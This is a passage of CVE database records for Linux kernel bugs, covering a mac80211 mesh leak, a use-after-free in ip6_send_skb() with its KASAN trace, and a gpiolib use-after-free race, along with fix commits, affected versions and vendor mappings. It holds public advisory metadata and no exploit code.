[\u003c000000005fccd770\u003e] ret_from_fork+0x10/0x20"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:22:49.483Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/377dbb220edc8421b7960691876c5b3bef62f89b"
        },
        {
          "url": "https://git.kernel.org/stable/c/ec79670eae430b3ffb7e0a6417ad7657728b8f95"
        },
        {
          "url": "https://git.kernel.org/stable/c/7518e20a189f8659b8b83969db4d33a4068fcfc3"
        },
        {
          "url": "https://git.kernel.org/stable/c/c4c865f971fd4a255208f57ef04d814c2ae9e0dc"
        },
        {
          "url": "https://git.kernel.org/stable/c/617dadbfb2d3e152c5753e28356d189c9d6f33c0"
        },
        {
          "url": "https://git.kernel.org/stable/c/63d5f89bb5664d60edbf8cf0df911aaae8ed96a4"
        },
        {
          "url": "https://git.kernel.org/stable/c/d81e244af521de63ad2883e17571b789c39b6549"
        },
        {
          "url": "https://git.kernel.org/stable/c/b7d7f11a291830fdf69d3301075dd0fb347ced84"
        }
      ],
      "title": "wifi: mac80211: mesh: Fix leak of mesh_preq_queue objects",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-40942",
    "datePublished": "2024-07-12T12:25:17.149Z",
    "dateReserved": "2024-07-12T12:17:45.587Z",
    "dateUpdated": "2026-05-12T11:55:45.364Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-44987 (GCVE-0-2024-44987)

Vulnerability from cvelistv5 – Published: 2024-09-04 19:54 – Updated: 2026-05-12 11:57

Title

ipv6: prevent UAF in ip6_send_skb()

Summary

In the Linux kernel, the following vulnerability has been resolved: ipv6: prevent UAF in ip6_send_skb() syzbot reported an UAF in ip6_send_skb() [1] After ip6_local_out() has returned, we no longer can safely dereference rt, unless we hold rcu_read_lock(). A similar issue has been fixed in commit a688caa34beb ("ipv6: take rcu lock in rawv6_send_hdrinc()") Another potential issue in ip6_finish_output2() is handled in a separate patch. [1] BUG: KASAN: slab-use-after-free in ip6_send_skb+0x18d/0x230 net/ipv6/ip6_output.c:1964 Read of size 8 at addr ffff88806dde4858 by task syz.1.380/6530 CPU: 1 UID: 0 PID: 6530 Comm: syz.1.380 Not tainted 6.11.0-rc3-syzkaller-00306-gdf6cbc62cc9b #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 08/06/2024 Call Trace: <TASK> __dump_stack lib/dump_stack.c:93 [inline] dump_stack_lvl+0x241/0x360 lib/dump_stack.c:119 print_address_description mm/kasan/report.c:377 [inline] print_report+0x169/0x550 mm/kasan/report.c:488 kasan_report+0x143/0x180 mm/kasan/report.c:601 ip6_send_skb+0x18d/0x230 net/ipv6/ip6_output.c:1964 rawv6_push_pending_frames+0x75c/0x9e0 net/ipv6/raw.c:588 rawv6_sendmsg+0x19c7/0x23c0 net/ipv6/raw.c:926 sock_sendmsg_nosec net/socket.c:730 [inline] __sock_sendmsg+0x1a6/0x270 net/socket.c:745 sock_write_iter+0x2dd/0x400 net/socket.c:1160 do_iter_readv_writev+0x60a/0x890 vfs_writev+0x37c/0xbb0 fs/read_write.c:971 do_writev+0x1b1/0x350 fs/read_write.c:1018 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f936bf79e79 Code: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007f936cd7f038 EFLAGS: 00000246 ORIG_RAX: 0000000000000014 RAX: ffffffffffffffda RBX: 00007f936c115f80 RCX: 00007f936bf79e79 RDX: 0000000000000001 RSI: 0000000020000040 RDI: 0000000000000004 RBP: 00007f936bfe7916 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000 R13: 0000000000000000 R14: 00007f936c115f80 R15: 00007fff2860a7a8 </TASK> Allocated by task 6530: kasan_save_stack mm/kasan/common.c:47 [inline] kasan_save_track+0x3f/0x80 mm/kasan/common.c:68 unpoison_slab_object mm/kasan/common.c:312 [inline] __kasan_slab_alloc+0x66/0x80 mm/kasan/common.c:338 kasan_slab_alloc include/linux/kasan.h:201 [inline] slab_post_alloc_hook mm/slub.c:3988 [inline] slab_alloc_node mm/slub.c:4037 [inline] kmem_cache_alloc_noprof+0x135/0x2a0 mm/slub.c:4044 dst_alloc+0x12b/0x190 net/core/dst.c:89 ip6_blackhole_route+0x59/0x340 net/ipv6/route.c:2670 make_blackhole net/xfrm/xfrm_policy.c:3120 [inline] xfrm_lookup_route+0xd1/0x1c0 net/xfrm/xfrm_policy.c:3313 ip6_dst_lookup_flow+0x13e/0x180 net/ipv6/ip6_output.c:1257 rawv6_sendmsg+0x1283/0x23c0 net/ipv6/raw.c:898 sock_sendmsg_nosec net/socket.c:730 [inline] __sock_sendmsg+0x1a6/0x270 net/socket.c:745 ____sys_sendmsg+0x525/0x7d0 net/socket.c:2597 ___sys_sendmsg net/socket.c:2651 [inline] __sys_sendmsg+0x2b0/0x3a0 net/socket.c:2680 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f Freed by task 45: kasan_save_stack mm/kasan/common.c:47 [inline] kasan_save_track+0x3f/0x80 mm/kasan/common.c:68 kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:579 poison_slab_object+0xe0/0x150 mm/kasan/common.c:240 __kasan_slab_free+0x37/0x60 mm/kasan/common.c:256 kasan_slab_free include/linux/kasan.h:184 [inline] slab_free_hook mm/slub.c:2252 [inline] slab_free mm/slub.c:4473 [inline] kmem_cache_free+0x145/0x350 mm/slub.c:4548 dst_destroy+0x2ac/0x460 net/core/dst.c:124 rcu_do_batch kernel/rcu/tree.c:2569 [inline] rcu_core+0xafd/0x1830 kernel/rcu/tree. ---truncated---

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/571567e0277008459…
https://git.kernel.org/stable/c/ce2f6cfab2c637d0b…
https://git.kernel.org/stable/c/cb5880a0de12c7f61…
https://git.kernel.org/stable/c/24e93695b1239fbe4…
https://git.kernel.org/stable/c/9a3e55afa95ed4ac9…
https://git.kernel.org/stable/c/af1dde074ee2ed7dd…
https://git.kernel.org/stable/c/e44bd76dd072756e6…
https://git.kernel.org/stable/c/faa389b2fbaaec7fd…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 0625491493d9000e4556bf566d205c28c8e7dc4e , < 571567e0277008459750f0728f246086b2659429 (git) Affected: 0625491493d9000e4556bf566d205c28c8e7dc4e , < ce2f6cfab2c637d0bd9762104023a15d0ab7c0a8 (git) Affected: 0625491493d9000e4556bf566d205c28c8e7dc4e , < cb5880a0de12c7f618d2bdd84e2d985f1e06ed7e (git) Affected: 0625491493d9000e4556bf566d205c28c8e7dc4e , < 24e93695b1239fbe4c31e224372be77f82dab69a (git) Affected: 0625491493d9000e4556bf566d205c28c8e7dc4e , < 9a3e55afa95ed4ac9eda112d4f918af645d72f25 (git) Affected: 0625491493d9000e4556bf566d205c28c8e7dc4e , < af1dde074ee2ed7dd5bdca4e7e8ba17f44e7b011 (git) Affected: 0625491493d9000e4556bf566d205c28c8e7dc4e , < e44bd76dd072756e674f45c5be00153f4ded68b2 (git) Affected: 0625491493d9000e4556bf566d205c28c8e7dc4e , < faa389b2fbaaec7fd27a390b4896139f9da662e3 (git)
Linux	Linux	Affected: 2.6.32 Unaffected: 0 , < 2.6.32 (semver) Unaffected: 4.19.321 , ≤ 4.19.* (semver) Unaffected: 5.4.283 , ≤ 5.4.* (semver) Unaffected: 5.10.225 , ≤ 5.10.* (semver) Unaffected: 5.15.166 , ≤ 5.15.* (semver) Unaffected: 6.1.107 , ≤ 6.1.* (semver) Unaffected: 6.6.48 , ≤ 6.6.* (semver) Unaffected: 6.10.7 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-44987",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-04T20:20:00.407827Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-04T20:21:05.118Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:14:37.598Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:57:25.163Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/ip6_output.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "571567e0277008459750f0728f246086b2659429",
              "status": "affected",
              "version": "0625491493d9000e4556bf566d205c28c8e7dc4e",
              "versionType": "git"
            },
            {
              "lessThan": "ce2f6cfab2c637d0bd9762104023a15d0ab7c0a8",
              "status": "affected",
              "version": "0625491493d9000e4556bf566d205c28c8e7dc4e",
              "versionType": "git"
            },
            {
              "lessThan": "cb5880a0de12c7f618d2bdd84e2d985f1e06ed7e",
              "status": "affected",
              "version": "0625491493d9000e4556bf566d205c28c8e7dc4e",
              "versionType": "git"
            },
            {
              "lessThan": "24e93695b1239fbe4c31e224372be77f82dab69a",
              "status": "affected",
              "version": "0625491493d9000e4556bf566d205c28c8e7dc4e",
              "versionType": "git"
            },
            {
              "lessThan": "9a3e55afa95ed4ac9eda112d4f918af645d72f25",
              "status": "affected",
              "version": "0625491493d9000e4556bf566d205c28c8e7dc4e",
              "versionType": "git"
            },
            {
              "lessThan": "af1dde074ee2ed7dd5bdca4e7e8ba17f44e7b011",
              "status": "affected",
              "version": "0625491493d9000e4556bf566d205c28c8e7dc4e",
              "versionType": "git"
            },
            {
              "lessThan": "e44bd76dd072756e674f45c5be00153f4ded68b2",
              "status": "affected",
              "version": "0625491493d9000e4556bf566d205c28c8e7dc4e",
              "versionType": "git"
            },
            {
              "lessThan": "faa389b2fbaaec7fd27a390b4896139f9da662e3",
              "status": "affected",
              "version": "0625491493d9000e4556bf566d205c28c8e7dc4e",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/ip6_output.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.32"
            },
            {
              "lessThan": "2.6.32",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.321",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.283",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.225",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.166",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.107",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.48",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.321",
                  "versionStartIncluding": "2.6.32",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.283",
                  "versionStartIncluding": "2.6.32",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.225",
                  "versionStartIncluding": "2.6.32",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.166",
                  "versionStartIncluding": "2.6.32",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.107",
                  "versionStartIncluding": "2.6.32",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.48",
                  "versionStartIncluding": "2.6.32",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.7",
                  "versionStartIncluding": "2.6.32",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "2.6.32",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: prevent UAF in ip6_send_skb()\n\nsyzbot reported an UAF in ip6_send_skb() [1]\n\nAfter ip6_local_out() has returned, we no longer can safely\ndereference rt, unless we hold rcu_read_lock().\n\nA similar issue has been fixed in commit\na688caa34beb (\"ipv6: take rcu lock in rawv6_send_hdrinc()\")\n\nAnother potential issue in ip6_finish_output2() is handled in a\nseparate patch.\n\n[1]\n BUG: KASAN: slab-use-after-free in ip6_send_skb+0x18d/0x230 net/ipv6/ip6_output.c:1964\nRead of size 8 at addr ffff88806dde4858 by task syz.1.380/6530\n\nCPU: 1 UID: 0 PID: 6530 Comm: syz.1.380 Not tainted 6.11.0-rc3-syzkaller-00306-gdf6cbc62cc9b #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 08/06/2024\nCall Trace:\n \u003cTASK\u003e\n  __dump_stack lib/dump_stack.c:93 [inline]\n  dump_stack_lvl+0x241/0x360 lib/dump_stack.c:119\n  print_address_description mm/kasan/report.c:377 [inline]\n  print_report+0x169/0x550 mm/kasan/report.c:488\n  kasan_report+0x143/0x180 mm/kasan/report.c:601\n  ip6_send_skb+0x18d/0x230 net/ipv6/ip6_output.c:1964\n  rawv6_push_pending_frames+0x75c/0x9e0 net/ipv6/raw.c:588\n  rawv6_sendmsg+0x19c7/0x23c0 net/ipv6/raw.c:926\n  sock_sendmsg_nosec net/socket.c:730 [inline]\n  __sock_sendmsg+0x1a6/0x270 net/socket.c:745\n  sock_write_iter+0x2dd/0x400 net/socket.c:1160\n do_iter_readv_writev+0x60a/0x890\n  vfs_writev+0x37c/0xbb0 fs/read_write.c:971\n  do_writev+0x1b1/0x350 fs/read_write.c:1018\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7f936bf79e79\nCode: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 \u003c48\u003e 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007f936cd7f038 EFLAGS: 00000246 ORIG_RAX: 0000000000000014\nRAX: ffffffffffffffda RBX: 00007f936c115f80 RCX: 00007f936bf79e79\nRDX: 0000000000000001 RSI: 0000000020000040 RDI: 0000000000000004\nRBP: 00007f936bfe7916 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000\nR13: 0000000000000000 R14: 00007f936c115f80 R15: 00007fff2860a7a8\n \u003c/TASK\u003e\n\nAllocated by task 6530:\n  kasan_save_stack mm/kasan/common.c:47 [inline]\n  kasan_save_track+0x3f/0x80 mm/kasan/common.c:68\n  unpoison_slab_object mm/kasan/common.c:312 [inline]\n  __kasan_slab_alloc+0x66/0x80 mm/kasan/common.c:338\n  kasan_slab_alloc include/linux/kasan.h:201 [inline]\n  slab_post_alloc_hook mm/slub.c:3988 [inline]\n  slab_alloc_node mm/slub.c:4037 [inline]\n  kmem_cache_alloc_noprof+0x135/0x2a0 mm/slub.c:4044\n  dst_alloc+0x12b/0x190 net/core/dst.c:89\n  ip6_blackhole_route+0x59/0x340 net/ipv6/route.c:2670\n  make_blackhole net/xfrm/xfrm_policy.c:3120 [inline]\n  xfrm_lookup_route+0xd1/0x1c0 net/xfrm/xfrm_policy.c:3313\n  ip6_dst_lookup_flow+0x13e/0x180 net/ipv6/ip6_output.c:1257\n  rawv6_sendmsg+0x1283/0x23c0 net/ipv6/raw.c:898\n  sock_sendmsg_nosec net/socket.c:730 [inline]\n  __sock_sendmsg+0x1a6/0x270 net/socket.c:745\n  ____sys_sendmsg+0x525/0x7d0 net/socket.c:2597\n  ___sys_sendmsg net/socket.c:2651 [inline]\n  __sys_sendmsg+0x2b0/0x3a0 net/socket.c:2680\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nFreed by task 45:\n  kasan_save_stack mm/kasan/common.c:47 [inline]\n  kasan_save_track+0x3f/0x80 mm/kasan/common.c:68\n  kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:579\n  poison_slab_object+0xe0/0x150 mm/kasan/common.c:240\n  __kasan_slab_free+0x37/0x60 mm/kasan/common.c:256\n  kasan_slab_free include/linux/kasan.h:184 [inline]\n  slab_free_hook mm/slub.c:2252 [inline]\n  slab_free mm/slub.c:4473 [inline]\n  kmem_cache_free+0x145/0x350 mm/slub.c:4548\n  dst_destroy+0x2ac/0x460 net/core/dst.c:124\n  rcu_do_batch kernel/rcu/tree.c:2569 [inline]\n  rcu_core+0xafd/0x1830 kernel/rcu/tree.\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:33:16.459Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/571567e0277008459750f0728f246086b2659429"
        },
        {
          "url": "https://git.kernel.org/stable/c/ce2f6cfab2c637d0bd9762104023a15d0ab7c0a8"
        },
        {
          "url": "https://git.kernel.org/stable/c/cb5880a0de12c7f618d2bdd84e2d985f1e06ed7e"
        },
        {
          "url": "https://git.kernel.org/stable/c/24e93695b1239fbe4c31e224372be77f82dab69a"
        },
        {
          "url": "https://git.kernel.org/stable/c/9a3e55afa95ed4ac9eda112d4f918af645d72f25"
        },
        {
          "url": "https://git.kernel.org/stable/c/af1dde074ee2ed7dd5bdca4e7e8ba17f44e7b011"
        },
        {
          "url": "https://git.kernel.org/stable/c/e44bd76dd072756e674f45c5be00153f4ded68b2"
        },
        {
          "url": "https://git.kernel.org/stable/c/faa389b2fbaaec7fd27a390b4896139f9da662e3"
        }
      ],
      "title": "ipv6: prevent UAF in ip6_send_skb()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-44987",
    "datePublished": "2024-09-04T19:54:35.510Z",
    "dateReserved": "2024-08-21T05:34:56.671Z",
    "dateUpdated": "2026-05-12T11:57:25.163Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-36899 (GCVE-0-2024-36899)

Vulnerability from cvelistv5 – Published: 2024-05-30 15:29 – Updated: 2026-05-12 11:53

Title

gpiolib: cdev: Fix use after free in lineinfo_changed_notify

Summary

In the Linux kernel, the following vulnerability has been resolved: gpiolib: cdev: Fix use after free in lineinfo_changed_notify The use-after-free issue occurs as follows: when the GPIO chip device file is being closed by invoking gpio_chrdev_release(), watched_lines is freed by bitmap_free(), but the unregistration of lineinfo_changed_nb notifier chain failed due to waiting write rwsem. Additionally, one of the GPIO chip's lines is also in the release process and holds the notifier chain's read rwsem. Consequently, a race condition leads to the use-after-free of watched_lines. Here is the typical stack when issue happened: [free] gpio_chrdev_release() --> bitmap_free(cdev->watched_lines) <-- freed --> blocking_notifier_chain_unregister() --> down_write(&nh->rwsem) <-- waiting rwsem --> __down_write_common() --> rwsem_down_write_slowpath() --> schedule_preempt_disabled() --> schedule() [use] st54spi_gpio_dev_release() --> gpio_free() --> gpiod_free() --> gpiod_free_commit() --> gpiod_line_state_notify() --> blocking_notifier_call_chain() --> down_read(&nh->rwsem); <-- held rwsem --> notifier_call_chain() --> lineinfo_changed_notify() --> test_bit(xxxx, cdev->watched_lines) <-- use after free The side effect of the use-after-free issue is that a GPIO line event is being generated for userspace where it shouldn't. However, since the chrdev is being closed, userspace won't have the chance to read that event anyway. To fix the issue, call the bitmap_free() function after the unregistration of lineinfo_changed_nb notifier chain.

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/2dfbb920a89bdc580…
https://git.kernel.org/stable/c/2d008d4961b039d2e…
https://git.kernel.org/stable/c/d38c49f7bdf143812…
https://git.kernel.org/stable/c/95ca7c90eaf5ea8a8…
https://git.kernel.org/stable/c/ca710b5f40b8b16fd…
https://git.kernel.org/stable/c/02f6b0e1ec7e0e7d0…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 51c1064e82e77b39a49889287ca50709303e2f26 , < 2dfbb920a89bdc58087672ad5325dc6c588b6860 (git) Affected: 51c1064e82e77b39a49889287ca50709303e2f26 , < 2d008d4961b039d2edce8976289773961b7e5fb5 (git) Affected: 51c1064e82e77b39a49889287ca50709303e2f26 , < d38c49f7bdf14381270736299e2ff68ec248a017 (git) Affected: 51c1064e82e77b39a49889287ca50709303e2f26 , < 95ca7c90eaf5ea8a8460536535101e3e81160e2a (git) Affected: 51c1064e82e77b39a49889287ca50709303e2f26 , < ca710b5f40b8b16fdcad50bebd47f50e4c62d239 (git) Affected: 51c1064e82e77b39a49889287ca50709303e2f26 , < 02f6b0e1ec7e0e7d059dddc893645816552039da (git)
Linux	Linux	Affected: 5.7 Unaffected: 0 , < 5.7 (semver) Unaffected: 5.10.234 , ≤ 5.10.* (semver) Unaffected: 5.15.177 , ≤ 5.15.* (semver) Unaffected: 6.1.127 , ≤ 6.1.* (semver) Unaffected: 6.6.31 , ≤ 6.6.* (semver) Unaffected: 6.8.10 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-36899",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-10T18:48:31.477532Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-10T18:48:41.419Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:37:56.889Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/95ca7c90eaf5ea8a8460536535101e3e81160e2a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ca710b5f40b8b16fdcad50bebd47f50e4c62d239"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/02f6b0e1ec7e0e7d059dddc893645816552039da"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:59.615Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/gpio/gpiolib-cdev.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "2dfbb920a89bdc58087672ad5325dc6c588b6860",
              "status": "affected",
              "version": "51c1064e82e77b39a49889287ca50709303e2f26",
              "versionType": "git"
            },
            {
              "lessThan": "2d008d4961b039d2edce8976289773961b7e5fb5",
              "status": "affected",
              "version": "51c1064e82e77b39a49889287ca50709303e2f26",
              "versionType": "git"
            },
            {
              "lessThan": "d38c49f7bdf14381270736299e2ff68ec248a017",
              "status": "affected",
              "version": "51c1064e82e77b39a49889287ca50709303e2f26",
              "versionType": "git"
            },
            {
              "lessThan": "95ca7c90eaf5ea8a8460536535101e3e81160e2a",
              "status": "affected",
              "version": "51c1064e82e77b39a49889287ca50709303e2f26",
              "versionType": "git"
            },
            {
              "lessThan": "ca710b5f40b8b16fdcad50bebd47f50e4c62d239",
